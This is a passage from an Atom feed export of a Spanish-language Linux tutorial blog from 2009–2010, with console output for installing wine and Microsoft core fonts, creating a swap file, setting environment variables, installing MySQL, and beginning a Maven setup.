http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/verdan32.exe&lt;br /&gt;Resolviendo ufpr.dl.sourceforge.net... 200.17.202.1&lt;br /&gt;Conectando a ufpr.dl.sourceforge.net|200.17.202.1|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 351992 (344K) [application/x-msdos-program]&lt;br /&gt;Guardando en: `./verdan32.exe'&lt;br /&gt;&lt;br /&gt;    0K .......... .......... .......... .......... .......... 14% 39,9K 7s&lt;br /&gt;   50K .......... .......... .......... .......... .......... 29% 69,9K 5s&lt;br /&gt;  100K .......... .......... .......... .......... .......... 43%  160K 3s&lt;br /&gt;  150K .......... .......... .......... .......... .......... 58%  161K 2s&lt;br /&gt;  200K .......... .......... .......... .......... .......... 72%  161K 1s&lt;br /&gt;  250K .......... .......... .......... .......... .......... 87%  176K 0s&lt;br /&gt;  300K .......... .......... .......... .......... ...       100%  148K=3,5s&lt;br /&gt;&lt;br /&gt;2010-08-04 19:24:29 (98,7 KB/s) - `./verdan32.exe' guardado [351992/351992]&lt;br /&gt;&lt;br /&gt;--2010-08-04 19:24:29--  http://downloads.sourceforge.net/corefonts/webdin32.exe&lt;br /&gt;Resolviendo downloads.sourceforge.net... 216.34.181.59&lt;br /&gt;Conectando a downloads.sourceforge.net|216.34.181.59|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 301 Moved Permanently&lt;br /&gt;Ubicación: http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/webdin32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:24:45--  http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/webdin32.exe&lt;br /&gt;Reusando la conexión existente a downloads.sourceforge.net:80.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 302 Found&lt;br /&gt;Ubicación: http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/webdin32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:24:45--  http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/webdin32.exe&lt;br /&gt;Resolviendo ufpr.dl.sourceforge.net... 200.17.202.1&lt;br /&gt;Conectando a ufpr.dl.sourceforge.net|200.17.202.1|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 185072 (181K) [application/x-msdos-program]&lt;br /&gt;Guardando en: `./webdin32.exe'&lt;br /&gt;&lt;br /&gt;    0K .......... .......... .......... .......... .......... 27% 40,7K 3s&lt;br /&gt;   50K .......... .......... .......... .......... .......... 55%  148K 1s&lt;br /&gt;  100K .......... .......... .......... .......... .......... 82% 85,3K 0s&lt;br /&gt;  150K .......... .......... ..........                      100% 2,39M=2,2s&lt;br /&gt;&lt;br /&gt;2010-08-04 19:24:58 (83,4 KB/s) - `./webdin32.exe' guardado [185072/185072]&lt;br /&gt;&lt;br /&gt;andale32.exe: La suma coincide&lt;br /&gt;Extracting cabinet: andale32.exe&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting andale.inf&lt;br /&gt; extracting fontinst.exe&lt;br /&gt; extracting AndaleMo.TTF&lt;br /&gt; extracting ADVPACK.DLL&lt;br /&gt; extracting W95INF32.DLL&lt;br /&gt; extracting W95INF16.DLL&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;arialb32.exe: La suma coincide&lt;br /&gt;Extracting cabinet: arialb32.exe&lt;br /&gt; extracting fontinst.exe&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting AriBlk.TTF&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;arial32.exe: La suma coincide&lt;br /&gt;Extracting cabinet: arial32.exe&lt;br /&gt; extracting FONTINST.EXE&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting Ariali.TTF&lt;br /&gt; extracting Arialbd.TTF&lt;br /&gt; extracting Arialbi.TTF&lt;br /&gt; extracting Arial.TTF&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;comic32.exe: La suma coincide&lt;br /&gt;Extracting cabinet: comic32.exe&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting Comicbd.TTF&lt;br /&gt; extracting Comic.TTF&lt;br /&gt; extracting fontinst.exe&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;courie32.exe: La suma coincide&lt;br /&gt;Extracting cabinet: courie32.exe&lt;br /&gt; extracting cour.ttf&lt;br /&gt; extracting courbd.ttf&lt;br /&gt; extracting courbi.ttf&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting couri.ttf&lt;br /&gt; extracting fontinst.exe&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;georgi32.exe: La suma coincide&lt;br /&gt;Extracting cabinet: georgi32.exe&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting Georgiaz.TTF&lt;br /&gt; extracting Georgiab.TTF&lt;br /&gt; extracting Georgiai.TTF&lt;br /&gt; extracting Georgia.TTF&lt;br /&gt; extracting fontinst.exe&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;impact32.exe: La suma coincide&lt;br /&gt;Extracting cabinet: impact32.exe&lt;br /&gt; extracting fontinst.exe&lt;br /&gt; extracting Impact.TTF&lt;br /&gt; extracting fontinst.inf&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;times32.exe: La suma coincide&lt;br /&gt;Extracting cabinet: times32.exe&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting Times.TTF&lt;br /&gt; extracting Timesbd.TTF&lt;br /&gt; extracting Timesbi.TTF&lt;br /&gt; extracting Timesi.TTF&lt;br /&gt; extracting FONTINST.EXE&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;trebuc32.exe: La suma coincide&lt;br /&gt;Extracting cabinet: trebuc32.exe&lt;br /&gt; extracting FONTINST.EXE&lt;br /&gt; extracting trebuc.ttf&lt;br /&gt; extracting Trebucbd.ttf&lt;br /&gt; extracting trebucbi.ttf&lt;br /&gt; extracting trebucit.ttf&lt;br /&gt; extracting fontinst.inf&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;verdan32.exe: La suma coincide&lt;br /&gt;Extracting cabinet: verdan32.exe&lt;br /&gt; extracting fontinst.exe&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting Verdanab.TTF&lt;br /&gt; extracting Verdanai.TTF&lt;br /&gt; extracting Verdanaz.TTF&lt;br /&gt; extracting Verdana.TTF&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;webdin32.exe: La suma coincide&lt;br /&gt;Extracting cabinet: webdin32.exe&lt;br /&gt; extracting fontinst.exe&lt;br /&gt; extracting Webdings.TTF&lt;br /&gt; extracting fontinst.inf&lt;br /&gt; extracting Licen.TXT&lt;br /&gt;&lt;br /&gt;All done, no errors.&lt;br /&gt;All fonts downloaded and installed.&lt;br /&gt;Updating fontconfig cache for /usr/share/fonts/truetype/msttcorefonts&lt;br /&gt;No CIDSupplement specified for Dotum-Bold, defaulting to 0.&lt;br /&gt;No CIDSupplement specified for Batang-Regular, defaulting to 0.&lt;br /&gt;No CIDSupplement specified for Batang-Bold, defaulting to 0.&lt;br /&gt;No CIDSupplement specified for Dotum-Regular, defaulting to 0.&lt;br /&gt;Updating fontconfig cache for /usr/share/fonts/truetype/msttcorefonts&lt;br /&gt;&lt;br /&gt;Configurando winbind (2:3.4.7~dfsg-1ubuntu3) ...&lt;br /&gt;* Starting the Winbind daemon winbind                                                                                                                                                                     [ OK ]&lt;br /&gt;&lt;br /&gt;Configurando wine (1.1.42-0ubuntu4) ...&lt;br /&gt;Procesando disparadores para libc-bin ...&lt;br /&gt;ldconfig deferred processing now taking place&lt;br /&gt;&lt;br /&gt;y ya tenemos wine instalado en nuestro linux.&lt;br /&gt;&lt;br /&gt;ahora si tienes algun programa para windows, como macromedia firefox o dreamweaver, vas con nautilus al lugar donde tienes el ejecutable, y boton derecho-&gt; abrir con wine. pronto se iniciara el instalador del programa tal como en el ventanukos.&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-5835025591995000452?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/5835025591995000452/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=5835025591995000452' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5835025591995000452'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5835025591995000452'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2010/08/wine-en-linux.html' title='Wine en Linux'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-5851971416087137662</id><published>2010-07-07T15:06:00.002-04:00</published><updated>2010-07-07T15:09:22.640-04:00</updated><title type='text'>Crear SWAP en Linux</title><content type='html'>Aqui les dejo el tuto para crear particion de intercambio swap en linux&lt;br /&gt;&lt;br /&gt;1.- Crear el archivo de intercambio&lt;br /&gt;&lt;br /&gt;slack@zion:/$ &lt;span style="font-weight: bold;"&gt;sudo dd if=/dev/zero of=/media/swapfile bs=1M count=2048&lt;/span&gt;&lt;br /&gt;[sudo] password for slack:&lt;br /&gt;2048+0 registros de entrada&lt;br /&gt;2048+0 registros de salida&lt;br /&gt;2147483648 bytes (2,1 GB) copiados, 59,7214 s, 36,0 MB/s&lt;br /&gt;&lt;br /&gt;slack@zion:/$ &lt;span style="font-weight: bold;"&gt;sudo mkswap /media/swapfile&lt;/span&gt;&lt;br /&gt;mkswap: /media/swapfile: aviso: no borrar los sectores bootbits&lt;br /&gt;        en todo el disco. Use -f to force.&lt;br /&gt;Configurando la versión swapspace 1, tamaño = 2097148 KiB&lt;br /&gt;sin etiqueta, UUID=86755efc-4ad6-4f30-aa2f-7fab714b36a8&lt;br /&gt;&lt;br /&gt;2.- Activar la particion de intercambio&lt;br /&gt;&lt;br /&gt;slack@zion:/$ &lt;span style="font-weight: bold;"&gt;sudo swapon /media/swapfile&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;3.- Verificar&lt;br /&gt;slack@zion:/$ &lt;span style="font-weight: bold;"&gt;free&lt;/span&gt;&lt;br /&gt;             total       used       free     shared    buffers     cached&lt;br /&gt;Mem:       2013468    1959708      53760          0      22752    1545316&lt;br /&gt;-/+ buffers/cache:     391640    1621828&lt;br /&gt;Swap:      2097144          0    2097144&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-5851971416087137662?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/5851971416087137662/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=5851971416087137662' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5851971416087137662'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5851971416087137662'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2010/07/crear-swap-en-linux.html' title='Crear SWAP en Linux'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-3177810424836491645</id><published>2010-06-16T10:45:00.002-04:00</published><updated>2010-06-16T10:49:50.826-04:00</updated><title type='text'>Refrescar variables de entorno en linux</title><content type='html'>Hola, cuando creamos una variable de entorno en linux los hacemos editando el archivo /etc/environment o /etc/profile agregando en el caso de java las siguientes lineas&lt;br /&gt;&lt;br /&gt;JAVA_HOME=/home/slack/programas/java/jdk1.6.0_20&lt;br /&gt;&lt;br /&gt;export JAVA_HOME&lt;br /&gt;&lt;br /&gt;Luego si queremos ver esta variable al listar las variables de entorno del sistema debemos ejecutar el sigte comando&lt;br /&gt;&lt;br /&gt;slack@zion:~$ &lt;span style="font-weight: bold;"&gt;. /etc/profile&lt;/span&gt;&lt;br /&gt;slack@zion:~$&lt;br /&gt;slack@zion:~$ &lt;span style="font-weight: bold;"&gt;env&lt;/span&gt;&lt;br /&gt;ORBIT_SOCKETDIR=/tmp/orbit-slack&lt;br /&gt;SSH_AGENT_PID=1639&lt;br /&gt;TERM=xterm&lt;br /&gt;SHELL=/bin/bash&lt;br /&gt;XDG_SESSION_COOKIE=e424f279b12b6259b70427c24c174c62-1276687945.687105-1023801592&lt;br /&gt;WINDOWID=73400324&lt;br /&gt;GNOME_KEYRING_CONTROL=/tmp/keyring-U1Vb8O&lt;br /&gt;GTK_MODULES=canberra-gtk-module&lt;br /&gt;USER=slack&lt;br /&gt;LS_COLORS=rs=0:di=01;34:ln=01;36:hl=44;37:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:&lt;br /&gt;SSH_AUTH_SOCK=/tmp/keyring-U1Vb8O/ssh&lt;br /&gt;DEFAULTS_PATH=/usr/share/gconf/gnome.default.path&lt;br /&gt;SESSION_MANAGER=local/zion:@/tmp/.ICE-unix/1605,unix/zion:/tmp/.ICE-unix/1605&lt;br /&gt;USERNAME=slack&lt;br /&gt;XDG_CONFIG_DIRS=/etc/xdg/xdg-gnome:/etc/xdg&lt;br /&gt;DESKTOP_SESSION=gnome&lt;br /&gt;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games&lt;br /&gt;PWD=/home/slack&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;JAVA_HOME=/home/slack/programas/java/jdk1.6.0_20&lt;/span&gt;&lt;br /&gt;GDM_KEYBOARD_LAYOUT=latam&lt;br /&gt;LANG=es_CL.utf8&lt;br /&gt;GNOME_KEYRING_PID=1587&lt;br /&gt;MANDATORY_PATH=/usr/share/gconf/gnome.mandatory.path&lt;br /&gt;GDM_LANG=es_CL.utf8&lt;br /&gt;GDMSESSION=gnome&lt;br /&gt;SPEECHD_PORT=7560&lt;br /&gt;SHLVL=1&lt;br /&gt;HOME=/home/slack&lt;br /&gt;GNOME_DESKTOP_SESSION_ID=this-is-deprecated&lt;br /&gt;LOGNAME=slack&lt;br /&gt;XDG_DATA_DIRS=/usr/share/gnome:/usr/local/share/:/usr/share/&lt;br /&gt;DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-rIrub3ZtG6,guid=af78a4863e1cace0770fa3b14c18b64a&lt;br /&gt;LESSOPEN=| /usr/bin/lesspipe %s&lt;br /&gt;DISPLAY=:0.0&lt;br /&gt;LESSCLOSE=/usr/bin/lesspipe %s %s&lt;br /&gt;XAUTHORITY=/var/run/gdm/auth-for-slack-GeiXcb/database&lt;br /&gt;COLORTERM=gnome-terminal&lt;br /&gt;_=/usr/bin/env&lt;br /&gt;slack@zion:~$ java -version&lt;br /&gt;java version "1.6.0_18"&lt;br /&gt;OpenJDK Runtime Environment (IcedTea6 1.8) (6b18-1.8-0ubuntu1)&lt;br /&gt;OpenJDK Server VM (build 14.0-b16, mixed mode)&lt;br /&gt;slack@zion:~$&lt;br /&gt;&lt;br /&gt;Suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-3177810424836491645?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/3177810424836491645/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=3177810424836491645' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3177810424836491645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3177810424836491645'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2010/06/refrescar-variables-de-entorno-en-linux.html' title='Refrescar variables de entorno en linux'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-5008662659017147960</id><published>2010-04-21T13:10:00.002-04:00</published><updated>2010-04-21T13:14:38.699-04:00</updated><title type='text'>Instalar MYSQL</title><content type='html'>Hola, Nunca esta demas el saber instalar mysql en linux correctamente a travez de apt-get, bueno el comando que se debe ingresar por consola unix es el sigte:&lt;br /&gt;&lt;br /&gt;importante: previamente debemos agregar al source-list la sigte url del repositorio:&lt;br /&gt;http://cl.archive.ubuntu.com jaunty/&lt;br /&gt;&lt;br /&gt;slack@zion:~$&lt;span style="font-weight: bold;"&gt;apt-get -y --force-yes -f install mysql-client-5.0 mysql-server-core-5.0 mysql-server-5.0 mysql-client mysql-server&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Reading package lists...&lt;br /&gt;Building dependency tree...&lt;br /&gt;Reading state information...&lt;br /&gt;mysql-admin is already the newest version.&lt;br /&gt;The following packages were automatically installed and are no longer required:&lt;br /&gt;  sendmail-base libdns45 m4 procmail sensible-mda sendmail-cf libmysqlclient16&lt;br /&gt;Use 'apt-get autoremove' to remove them.&lt;br /&gt;The following extra packages will be installed:&lt;br /&gt;  mysql-client-5.0 mysql-server-5.0 mysql-server-core-5.0&lt;br /&gt;Suggested packages:&lt;br /&gt;  mysql-doc-5.0 tinyca&lt;br /&gt;The following NEW packages will be installed:&lt;br /&gt;  mysql-client mysql-client-5.0 mysql-server mysql-server-5.0&lt;br /&gt;  mysql-server-core-5.0&lt;br /&gt;0 upgraded, 5 newly installed, 0 to remove and 1 not upgraded.&lt;br /&gt;Need to get 34.9MB of archives.&lt;br /&gt;After this operation, 107MB of additional disk space will be used.&lt;br /&gt;Get:1 http://cl.archive.ubuntu.com jaunty/main mysql-client-5.0 5.1.30really5.0.75-0ubuntu10 [7877kB]&lt;br /&gt;Get:2 http://cl.archive.ubuntu.com jaunty/main mysql-server-core-5.0 5.1.30really5.0.75-0ubuntu10 [3348kB]&lt;br /&gt;Get:3 http://cl.archive.ubuntu.com jaunty/main mysql-server-5.0 5.1.30really5.0.75-0ubuntu10 [23.6MB]&lt;br /&gt;Get:4 http://cl.archive.ubuntu.com jaunty/main mysql-client 5.1.30really5.0.75-0ubuntu10 [54.8kB]&lt;br /&gt;Get:5 http://cl.archive.ubuntu.com jaunty/main mysql-server 5.1.30really5.0.75-0ubuntu10 [57.0kB]&lt;br /&gt;Preconfiguring packages ...&lt;br /&gt;Fetched 34.9MB in 2min 15s (258kB/s)&lt;br /&gt;Selecting previously deselected package mysql-client-5.0.&lt;br /&gt;(Reading database ... 175660 files and directories currently installed.)&lt;br /&gt;Unpacking mysql-client-5.0 (from .../mysql-client-5.0_5.1.30really5.0.75-0ubuntu10_i386.deb) ...&lt;br /&gt;Selecting previously deselected package mysql-server-core-5.0.&lt;br /&gt;Unpacking mysql-server-core-5.0 (from .../mysql-server-core-5.0_5.1.30really5.0.75-0ubuntu10_i386.deb) ...&lt;br /&gt;Selecting previously deselected package mysql-server-5.0.&lt;br /&gt;Unpacking mysql-server-5.0 (from .../mysql-server-5.0_5.1.30really5.0.75-0ubuntu10_i386.deb) ...&lt;br /&gt;Selecting previously deselected package mysql-client.&lt;br /&gt;Unpacking mysql-client (from .../mysql-client_5.1.30really5.0.75-0ubuntu10_all.deb) ...&lt;br /&gt;Selecting previously deselected package mysql-server.&lt;br /&gt;Unpacking mysql-server (from .../mysql-server_5.1.30really5.0.75-0ubuntu10_all.deb) ...&lt;br /&gt;Processing triggers for man-db ...&lt;br /&gt;Setting up mysql-client-5.0 (5.1.30really5.0.75-0ubuntu10) ...&lt;br /&gt;Setting up mysql-server-core-5.0 (5.1.30really5.0.75-0ubuntu10) ...&lt;br /&gt;Setting up mysql-server-5.0 (5.1.30really5.0.75-0ubuntu10) ...&lt;br /&gt; * Stopping MySQL database server mysqld&lt;br /&gt;   ...done.&lt;br /&gt; * Reloading AppArmor profiles ...&lt;br /&gt;   ...done.&lt;br /&gt; * Starting MySQL database server mysqld&lt;br /&gt;   ...done.&lt;br /&gt; * Checking for corrupt, not cleanly closed and upgrade needing tables.&lt;br /&gt;&lt;br /&gt;Setting up mysql-client (5.1.30really5.0.75-0ubuntu10) ...&lt;br /&gt;Setting up mysql-server (5.1.30really5.0.75-0ubuntu10) ...&lt;br /&gt;&lt;br /&gt;Bueno eso es, saludos a todos y suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-5008662659017147960?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/5008662659017147960/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=5008662659017147960' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5008662659017147960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5008662659017147960'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2010/04/instalar-mysql.html' title='Instalar MYSQL'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-5159028230157191402</id><published>2010-03-16T11:20:00.000-03:00</published><updated>2010-03-16T11:22:23.833-03:00</updated><title type='text'>Intalio</title><content type='html'>Hola,&lt;br /&gt;&lt;br /&gt;cortito.&lt;br /&gt;&lt;br /&gt;Conceptos como WebServices (servicios web), SOA y BPM están ya revolucionando el mundo del desarrollo de software. Los desarrollos monolíticos ya no tienen sentido en el mundo en que vivimos.&lt;br /&gt;&lt;br /&gt;Esto implica cambiar un poquito la perspectiva de las soluciones, fundamentalmente pensando en procesos de negocio y no en programas. Estos procesos se apoyarán en servicios independientes de tecnología y lenguajes para satisfacer las necesidades del negocio.&lt;br /&gt;&lt;br /&gt;Esta tecnología que parece orientada a las grandes empresas, también es asequible a las pequeñas/medianas gracias a las herramientas OpenSource.&lt;br /&gt;&lt;br /&gt;Intalio es una de ellas, de gran aceptación y creciente uso.&lt;br /&gt;&lt;br /&gt;vean esta demo&lt;br /&gt;&lt;br /&gt;http://bpms.intalio.com/files/resources/demos/bpp6/&lt;br /&gt;&lt;br /&gt;Saludos&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-5159028230157191402?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/5159028230157191402/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=5159028230157191402' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5159028230157191402'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5159028230157191402'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2010/03/intalio.html' title='Intalio'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-3946102382558119845</id><published>2009-11-23T13:59:00.004-03:00</published><updated>2009-11-23T14:47:56.984-03:00</updated><title type='text'>Maven</title><content type='html'>Hola, muchos de los que trabajamos desarrollando j2ee, conocemos ant, como herramienta de automatización del deploy del proyecto, la evolucion de ant es maven, el cual a travez de comenados descarga automaticamente desde los repositorios las librerias y dependencias para la aplicación. Aqui veremos como trabaja Maven 2 para el proyecto appfuse 2.&lt;br /&gt;&lt;br /&gt;Primero debemos descargar maven 2.x desde su web, &lt;a href="http://maven.apache.org/download.html#Installation"&gt;http://maven.apache.org/download.html#Installation&lt;/a&gt; para este ejemplo descargue el archivo &lt;a class="externalLink" href="http://www.apache.org/dyn/closer.cgi/maven/binaries/apache-maven-2.2.1-bin.tar.gz"&gt;apache-maven-2.2.1-bin.tar.gz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Luego lo descomprimi en mi directorio de programas, creando el siguiente directorio:&lt;br /&gt;&lt;br /&gt;/home/slack/programas/apache-maven-2.2.1&lt;br /&gt;&lt;br /&gt;con el siguiente contenido:&lt;br /&gt;&lt;br /&gt;slack@zion:~/programas/apache-maven-2.2.1$ &lt;span style="font-weight: bold;"&gt;ls -la&lt;/span&gt;&lt;br /&gt;total 48&lt;br /&gt;drwxr-xr-x  6 slack slack  4096 2009-11-23 12:35 .&lt;br /&gt;drwxr-xr-x 18 slack slack  4096 2009-11-23 12:35 ..&lt;br /&gt;drwxr-xr-x  2 slack slack  4096 2009-11-23 12:35 bin&lt;br /&gt;drwxr-xr-x  2 slack slack  4096 2009-11-23 12:35 boot&lt;br /&gt;drwxrwxrwx  2 slack slack  4096 2009-08-06 15:11 conf&lt;br /&gt;drwxr-xr-x  2 slack slack  4096 2009-11-23 12:35 lib&lt;br /&gt;-rw-r--r--  1 slack slack 12933 2009-08-06 15:11 LICENSE.txt&lt;br /&gt;-rw-r--r--  1 slack slack   923 2009-08-06 15:11 NOTICE.txt&lt;br /&gt;-rw-r--r--  1 slack slack  2532 2009-08-06 15:11 README.txt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Luego que tenemos el directorio de Maven, debemos declararlo en las variables de entorno para poder utilizarlo. como lo descomprimimos en el directorio de usuario modificaremos el profile, en caso contrario el enviromment&lt;br /&gt;&lt;br /&gt;Entonces vamos a la consola y escribimos el sigte. comando para editar nuestro profile:&lt;br /&gt;&lt;br /&gt;slack@zion:~/programas/apache-maven-2.2.1$&lt;span style="font-weight: bold;"&gt; sudo nano /etc/profile&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ingresamos la password de root para poder editar el archivo, y agregamos la sigte linea, ademas debemos agregar la variable al export.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;MAVEN_HOME=/home/slack/programas/apache-maven-2.2.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;export ANT_HOME JAVA_HOME CATALINA_HOME TOMCAT_HOME AWT_TOOLKIT=MToolkit MATLAB_JAVA &lt;span style="font-weight: bold;"&gt;MAVEN_HOME&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Tambien debemos agregar el bin de Maven al path, en el archivo 